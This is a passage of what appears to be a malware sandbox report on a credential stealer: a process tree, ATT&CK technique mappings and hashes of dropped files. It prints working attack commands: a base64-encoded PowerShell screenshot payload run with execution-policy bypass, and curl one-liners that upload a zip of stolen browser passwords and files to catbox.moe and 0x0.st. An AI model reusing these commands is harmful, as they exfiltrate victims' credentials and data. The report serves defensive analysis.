UAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4ARABpAHMAcABvAHMAZQAoACkACgAiAE8ASwAiAAoA"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABNAGkAYwByAG8AcwBvAGYAdABcAFUAcwBlAHIAUwBlAHQAdABpAG4AZwBzAFwAbwBHAHkARwBQAHkAYQBlADMAbABcAEUATgAtAFoAYwBzAGQAdQBnAHcAZwBcAFMAYwByAGUAZQBuAHMAaABvAHQAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgAsACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4ARABpAHMAcABvAHMAZQAoACkACgAiAE8ASwAiAAoA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""curl" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg.zip"" "https://catbox.moe/user/api.php""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Windows\system32\curl.exe
    "curl" -s -F "reqtype=fileupload" -F "fileToUpload=@"C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg.zip"" "https://catbox.moe/user/api.php"
    3⤵
    PID:4600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""curl" -s -F "file=@"C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg.zip"" "https://0x0.st""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\system32\curl.exe
    "curl" -s -F "file=@"C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg.zip"" "https://0x0.st"
    3⤵
    PID:4872

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:5048

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EN-Zcsdugwg.zip

Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg.zip
Size 4.1MB
SHA256 613e46a25344babec8e4b958410e142cf3d2576d7dd7c4baa74fb60c3949cae2
MD5 3968da0fe130461bec27c62ef0212b09
SHA1 8d4c00020c472b285c6ae0dc29cb79aabbc9c2f8
SHA512 b4099ae26625e41f3f323b5fdef402d97002e6aa3f75021ac298df4a136bb1f764041df06b21a6520084ae1b0560f925d49f2ecdf896eaa737272c2279ff6143
SSDEEP 98304:V7T1aK/viq9OIpYZAwtNE3gXvJXgOq08Z4hB0A:NT19Cq9XpY1tO3gvhfEsSA
TLSH
T1B11633F98FF11CA3E16FFFB56211C2A121B0B4E752B51AF5E0259D980E1D847B783892
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Firefox_Recovery_Info.txt

Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg\Browsers\Firefox_Recovery_Info.txt
Size 588B
SHA256 144a45bd4d3d631173164e932b1dc485f3eed9c862eb0e6ee713c48df188ffdb
MD5 a4f69f28acc538b16a0b2027cece80de
SHA1 6381bc8b197360eec43e978b79cf020ee3f9102f
SHA512 7845ef7ae0f5e14fa5c748ff7e56a96630f38bea43fdaa0c43e88c371ac3a658fb3e0db7539eb20a8c0c8b087934736fe64a990049b5f65193348818fd1ce954
TLSH
T185F0E11AFECE875646B060B3751AA063A730F95C10825216C12CC0882547FB751DB6F3
MD5 SHA1 SHA512 TLSH

Submit Download

Microsoft History.txt

Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg\History\Microsoft History.txt
Size 222B
SHA256 39a37df5eb69a43caacef8fa635c180dd156c05c7f62fd5de2ea5198445545a9
MD5 94d6812af14692b8d25543662c8c47bb
SHA1 de52bd0bd05d1fdc9e4529484e64d747ad151ea9
SHA512 d6a0d0b2a2e552f52367b8dbc1b04995d5ac5189a018e1b07fb61d13bb57f75091a3080faaa532a11477e497892ba8595e1746ac16d82e13d6609a21efebbef4
TLSH
T194D02204E0B005F5532701B224036C59A015B20F8A97681128C15B8EA10732247428B3
MD5 SHA1 SHA512 TLSH

Submit Download

Firefox Passwords.txt

Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg\Passwords\Firefox Passwords.txt
Size 184B
SHA256 a54e6535adacf274d79cb676f7abd35ed0c445ce7bdb55f075fa42651d502b82
MD5 7f23e2ad6a0635a201be1e8ad50f8c8a
SHA1 2e0d9a880b7c0aa54a0f12a520bbadb3a6e79c22
SHA512 6b845bc414fdbce6233dbc6ded4f7fa6f5ead65837d57b4965965735aec940191038bbb253732599223acdcc994fc57c71ccd2d3b4e0b94aa64fdbc3cf54451b
TLSH
T1CBC080C8795CD5C05650E1E61224F43857C8961F5244070CCC738944451075502995CF
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot.png

Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg\Screenshot\screenshot.png
Size 404KB
SHA256 f4ae00d0643540ddb7d650939f2c6b8bbece9bce17cd562b4afbc747e6c109ff
MD5 bee13984fdb7d389fdd01fabe4a173e8
SHA1 6db30587ed450edf28357715c67df05150e9a206
SHA512 33900b3a4613965d1e172608573b01edac789cc3c53fe71f0d85eb624c3042263dc923c5efcaebd1012aa96b3e4640a9c66deeffb49b06a9cbe39a49ca276403
SSDEEP 12288:9/Yz+7TdVSBj4V56ipfVyCiYxVbWmeIY1998A:tBVVijy56EfVM8Fby99X
TLSH
T10194121DA4F1C08D9DCE54BF96AC77A427A00927D6E2089E45617C6E1C21FBC7324BAF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stolen_files.zip

Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg\stolen_files.zip
Size 3.7MB
SHA256 5a10bfe210f241389912fa6d83cd6b692e40c3737b9e4969b343ef1ff8feac77
MD5 a8f2fd5485be21ceab94ca8bebec9799
SHA1 0f97cd8566c482410cd47dbc5385e982084c613a
SHA512 c1f02a962a5bcf299e42af5517e4bd93444414d65f53fc157905cf70c8fe9058eec94fb820feae8bf85641fd433290f6432236e62eceff0cd2d1a652a12c3fa6
SSDEEP 98304:lFGS1fqY9im1cN+szbgfGZX3B248Mmj2jVUX:lFXoY9h1cRz0fYXRZOEOX
TLSH
T1C60633B5CFF11893606FFFF9A161C1E522B0B4E792756AB1D03658980E19887E6C3CD2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

EN-Zcsdugwg_fallback.zip

Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\oGyGPyae3l\EN-Zcsdugwg_fallback.zip
Size 4.1MB
SHA256 6bf556600e48bab059bab613dc89ea32414f9357488ae64b18847edb4faa4549
MD5 b1b0c6396abeb82ace2bab050a11d567
SHA1 b745d22519778fb008842af0fe216f9100578998
SHA512 3f5171a8eb76a2cffd5ec308f9051f67a82b12536e55e6c420f14e53249c2760c0513628683966e60d3d01dccdba6e7e1575b2d3568e28e2a4dfa592ee32f8e1
SSDEEP 98304:C7s1aK/viq9OIpYZAwtNE3gXvJXgOq08Z4hB0v:es19Cq9XpY1tO3gvhfEsSv
TLSH
T1AE1633B98FF158A3E16FFFB56211C2A121B0B4E752752AF5F0259D580E1C847B7C3892
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 93215ce89b3acdb1d302a9248fa7fa7ada7a6b802f12f5447c9e70db5ccbb013
MD5 37c2f79644a4f9c120afd3d6b952f550
SHA1 33a62778514b3efc536cd3c9fad2efb70b9316bb
SHA512 a3dfa25faf98b903f7edef2cfa693c51c4476dfbeeae4b9eb7e75960bc899ccd9ac897869c29fbec8bcdd67ad1dc97db402aa8907cc105752cdca2c28ae4d2b7
TLSH
T1AE218933B3CC8664DC8A403654CEAC1136B687D7409ECEABAB84D118F42F288DEA11A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 dadabc934b75d65157fe5fc9faaa0348524010e3858099366e2158233d362266
MD5 4316cb7e3fde305cd239d175c9e675db
SHA1 eaf4fe97e772a40ba1e3bec795c3b202599a6b82
SHA512 f6f48907294eb03e4e35e9cd418ce49c416ca4a6aa8608a1537f1fa61dc4e904cb122bb4531b4661a986ed2f7f99fa281b0043632d3733bd1c19105aec8a5ea4
TLSH
T17921AB33F3CC8664DC8A413A54DEAC1136B6C7D740DECEABAB84D118F42F298DEA1160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 30b64b452be5ce90aa291023b8abb9606a9fb5b24f963c1b4b5422293ad505ec
MD5 78a08b24d3ce2e7648558d5e84fe6d56
SHA1 8e60bfc2771d0f77b0694dc0407371f24ab8c60e
SHA512 ac57e05eed02e84a8891dd8b50312c0f3b29ae8112f783c9e9db6b1c5a83dc6b1271fa03f57a35bb19c06b8154923e118f5b6f749517656395d181f31971e9f2
TLSH
T1CC219733F3CC86A4D88A413650CEAC1032B787DB419FCE9BAB84D128B42F289CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

RESB879.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB879.tmp
Size 1KB
SHA256 9e7f5ef72a2e6e35e18f021ae80545da471f4534da8f7f5aaa4f6f65b1ad1084
MD5 030e5e915ea7eb36082d4788dc56f17c
SHA1 4e150e3c174969b2cc8769c0ed1585f596fe5f48
SHA512 a32409c9a72cb47b3c71fc7cab81a0efbe9bd09868083f3e7f202e33d4591f10cfc8787d9c6c829d0efcc5b4460b38b79f7eade3f50e676cf694f27001782f3f
TLSH
T1C6218C0553EA471FF0B75731A9F6672FA234FD68EFA6935E898002282C51544EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_kcx202lm.lhl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kcx202lm.lhl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

decrypt_ORsdbepV.ps1

Path C:\Users\Admin\AppData\Local\Temp\decrypt_ORsdbepV.ps1
Size 8KB
SHA256 24559cf8cdb8c2f4a458d7afc495b610a5fb4a0626927484411113f073e6e78b
MD5 e3b9688683df14f3ed638b0a8e1e6fd9
SHA1 15b4bd90b73e0c630b08e5832222625ac4ea9d40
SHA512 64a0b25a0c3db9c8518be2f5626e009fe114ecdd48077371a5819f195809a5f67ef054637867e04d9393ee061cc572d8f4de12d26512caef5dbf8092ae58f050
SSDEEP 192:3fiMZIVlzfAWKyLLyQQSwodMvUgR9ZzXxPEiH:3f0VsOIRbz9rH
TLSH
T14F0295111EE6412C16F320765AFAE4497A334737236EDE01398D87F49F0112BE7B2B8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

decrypt_dpapi_8P5O5sVf.ps1

Path C:\Users\Admin\AppData\Local\Temp\decrypt_dpapi_8P5O5sVf.ps1
Size 723B
SHA256 56a753f5c40bb49c75170bf0fa34796c519b8f4580976fb0795dbd2da5f1cebc
MD5 3318dc633b74130228314f3642d34b63
SHA1 69f7d2438a7c889bc0c2e72dc54f248a29137c9a
SHA512 d28ab44260de6084c0f448fb85ed56a1b11b193e5b6fc7a7208435ae2f61d9bbdab9249fdd77860739add21136361768cfdcb04ebe51ebd3ea29ae0f18bef719
TLSH
T171011532A965EE0C07A10691A425C4E0DEA5427F31A73741FBD91106FB4C5CED77090E
MD5 SHA1 SHA512 TLSH

Submit Download

ij2ewxfi.dll

Path C:\Users\Admin\AppData\Local\Temp\ij2ewxfi\ij2ewxfi.dll
Size 7KB
SHA256 6c3b981b5622d52adc26a9acaea24c4dbb5b3b58af0e3445dc0c262bbea7684a
MD5 402d01197d7d8c1f87efe3a733ed421e
SHA1 3a3f596507ca784d91bf63d631dce654360120f9
SHA512 f444d6773ca512670c5104370676bbd1bdf7f498b6868c5f45d667601616893ce6a9d39b8e8a05a17efd76b01d43ca29c95fda000314eb14cb066bbb5a68be33
SSDEEP 96:F352TqQWbckmvkr/qBnAXXYfofTmKsrphy/smxjPuKbRKne6qK:F3ALkmvQ/qFIIQfTmKsrPy/HxiWI
TLSH
T1FDF17241ABEC0217F0BB07786EF951512772FD698932C73E418A40AE0D62F609B367B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node_sqlite3.node

Path C:\Users\Admin\AppData\Local\Temp\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node
Size 1.8MB
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21
SSDEEP 49152:lVtIA1xRrGLYLn9M+BMPPivsICK9rzoNEqt:7tH4X3inMZt
TLSH
T12B958D4BA2B400FDC1ABC179891B5A0BE7B27405177497DF15E08A696F23FE356BE320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpBE55.tmp.xml

Path C:\Users\Admin\AppData\Local\Temp\tmpBE55.tmp.xml
Size 2KB
SHA256 c9784601584dbae00d83c8e7a05608eb7dc37341ea8e9d0c82741fac4b960920
MD5 8fc9368bdab069506ffb1a22827068b0
SHA1 f50f2484cf6fb1687ad7596fd8d29ae8647fa30a
SHA512 fae6938fee15cb3a51de074ff22ef1df740ad3ea9d1c14e6df50ab9dcc6f57c380124f3188a7cf163565a4e7986a980329b38970b2d938ae3d05a633b4685060
TLSH
T138516D4367FE1209F1F76BACBEB764418EA7BD5D5D31C4AE00A8060D09B6A72C970736
MD5 SHA1 SHA512 TLSH

Submit Download

sys_core_55iOxLod.ps1

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_55iOxLod.ps1
Size 8KB
SHA256 21c668246bbe3d76307e08e7827655577e7a9afe27b845fac886d5b8934419fc
MD5 bd5c8b3c3429ab8646a805b3b2c49349
SHA1 892222862f899fb9ed8ace18a6664d14fc10682e
SHA512 d2329f01940005f1c1a17da805c1d3367b6827709fff230c2f1858359c93723d3b661e57ffa937294bd47b6879a3590a9df81aa359c4d1230b56adc2a7b4dcc2
SSDEEP 192:4RfToodCalyEYMamvxou+limKF60RzvRyRl2t23T6DAN41jRUgS+4oVlob7w3Gwv:KLZfYEYMaWFX6OlAytDHcExO8
TLSH
T1CC025239A5E9A131C18729364CADA4413DBA43F7060C0D10F8DCC6C5FFD6266CBF96A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sys_core_55iOxLod.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemData\sys_core_55iOxLod.vbs
Size 212B
SHA256 0a5bd3747b99731929fab1a1d53585b98dec7fdaa9c3d166592cee1f3a7da9d9
MD5 bcd32f879bbce2f073d9cb16fc1f7675
SHA1 74f92407b7093f77e973f3892e5fe892c1c50023
SHA512 70367962290adca4b4f8594220827df4bdf243f9e3c358f9f9e31c3ef3c528d97cc2a51d9880f6c48d65758e5c1d568042a9fccdc093325e898169caa0a411b7
TLSH
T14FD0220661A9D21DF933D8A709F3822C8AAAE08E7300AB15AFA0855CF4055A4C2BB082
MD5 SHA1 SHA512 TLSH

Submit Download

CSC903CD48BF7C145E3858C34F1E6A7CFC3.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ij2ewxfi\CSC903CD48BF7C145E3858C34F1E6A7CFC3.TMP
Size 652B
SHA256 b0f19ba0e995132333ece5915d1bae8240460ebb6fdc6a0d259de7ed52a51345
MD5 2445b60d3fb73b6825c9273ccd60be95
SHA1 a5cf3d72986e106137b52cb20743d4b942d8bdb8
SHA512 3243e31e59ffc41e1956abd538ac1537ac9c91e524fe44d914cf31cf39a1dbada454343cfa14ab2be252d1fb0924ff35abf81ca3a3a77ec89aa65a0276acc6f3
TLSH
T188F05E0963F9420EF0F34B30BDF6936391A8BC64DE3293ED5490031928649109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

ij2ewxfi.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ij2ewxfi\ij2ewxfi.0.cs
Size 7KB
SHA256 13abdd7deee11f51d24e9cf4bfab9da42fb9f4b1ac6f2a83569b91fc461d616c
MD5 242c93c49d394231a532b61bab089f27
SHA1 d80d2e8d85db718633df6e4db620dd59d0243fa4
SHA512 ddd51c77191d435b024518c196d88c7f7de4d182982ab82ba7df318c820ec8639feb10f1de3b9f2fe1c83639e9fe916796ad8738a8420d8083877f73e7aca1ee
SSDEEP 192:cfiMZIVlzfAWKyLLyQQSwodMvUgR9ZzXxD:cf0VsOIRbzR
TLSH
T1F6E152411AD6417C16F3207A5AFAE44976334733236EEE01789D87F49F0112BE772B9A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ij2ewxfi.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ij2ewxfi\ij2ewxfi.cmdline
Size 369B
SHA256 21e6ccb40213b464112e7528ebabd4299f70be9f34f669e9ae5e31b872652a83
MD5 09b9ae64abad32f057b7d1c59ab188bf
SHA1 a425df719e333bb4218aea1c639f28fa03e03cbd
SHA512 86b2e686e82d2f4a16016ba63cad753dc633f7606f3fae4e41b65afc97b6c7bdd5040778a3cce4a590b0f650d58bb8ce76a3f350511cd6e50ca91573f018491e
TLSH
T1D9E0C66A4256C27D01FD100B226EE8AEC673079F2984BF8C9048840EE0670022BE27A2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1304-87-0x000001CFA46F0000-0x000001CFA46F8000-memory.dmp

Download

memory/2852-38-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-42-0x0000018B70F10000-0x0000018B70FC2000-memory.dmp

Download

memory/2852-47-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-29-0x00007FFB4C0CF000-0x00007FFB4C0D0000-memory.dmp

Download

memory/2852-48-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-46-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-49-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-45-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-50-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-44-0x0000018B71150000-0x0000018B7116E000-memory.dmp

Download

memory/2852-43-0x0000018B70FD0000-0x0000018B70FDA000-memory.dmp

Download

memory/2852-32-0x0000018B70B40000-0x0000018B70B62000-memory.dmp

Download

memory/2852-41-0x0000018B70EF0000-0x0000018B70F0E000-memory.dmp

Download

memory/2852-52-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-37-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-36-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-35-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-34-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/2852-33-0x00007FFB4BF40000-0x00007FFB4C8E4000-memory.dmp

Download

memory/3144-72-0x000002C67F290000-0x000002C67F2E0000-memory.dmp

Download

memory/6000-65-0x000002A51F150000-0x000002A51F202000-memory.dmp

Download